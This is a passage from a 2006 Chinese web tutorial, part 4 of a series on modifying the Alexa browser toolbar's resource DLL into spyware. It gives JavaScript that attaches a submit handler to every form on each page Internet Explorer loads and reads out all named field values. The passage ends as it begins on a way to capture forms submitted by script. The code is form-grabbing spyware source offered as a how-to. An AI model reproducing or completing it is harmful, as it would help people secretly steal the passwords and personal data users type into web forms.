WEB开发网
开发学院网络安全黑客技术 移花接木 将Alexa工具条改装成间谍木马 阅读

移花接木 将Alexa工具条改装成间谍木马

 2006-11-07 20:09:16 来源:WEB开发网   
核心提示: 这里我推荐使用Resource Hacker来修改AlexRes.dll中的资源,个人感觉比eXeScope用起来爽多了,移花接木 将Alexa工具条改装成间谍木马(4),四、截获网页表单的内容我现在使用的方法有些类似于"跨站点脚本执行漏洞",先来看看"res

这里我推荐使用Resource Hacker来修改AlexRes.dll中的资源,个人感觉比eXeScope用起来爽多了。

四、截获网页表单的内容

我现在使用的方法有些类似于"跨站点脚本执行漏洞"。先来看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函数:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);

该函数在IE的当前浏览页面被加载完成时被调用,其中的 oWebBrowser2 参数可以当作当前IE正在浏览的页面的window对象。如果你懂得javascript的话,接下来要做的事情就十分简单了。添加如下代码:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
 for(i=0;i<oWebBrowser2.document.forms.length;i++)
 {
  oWebBrowser2.document.forms[i].onsubmit=test;
 }
 }catch(e){}
  return false;
}

这段代码的作用就是枚举当前页面中所有的表单对象,并为这些表单定义OnSubmit事件。接下来就是完成test函数了:

function test()
{
 try{
  window.alert("I can get the value!");
  for(i=0;i<this.length;i++)
  {
   if(this.elements[i].name!="")
   {
    window.alert(this.elements[i].name+":"+this.elements[i].value);
    //do some thing
   }
  }
 }catch(e){}
 return true;
}

不过用这种方法存在一点弊端:当表单是通过javascript语句"Submit()"提交时,不会产生"OnSubmit"事件,上面的代码也就无法纪录下表单的内容了。可以采用改变表单提交地址的方法来解决这个问题:

上一页  1 2 3 4 5  下一页

Tags:移花接木 Alexa 工具

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接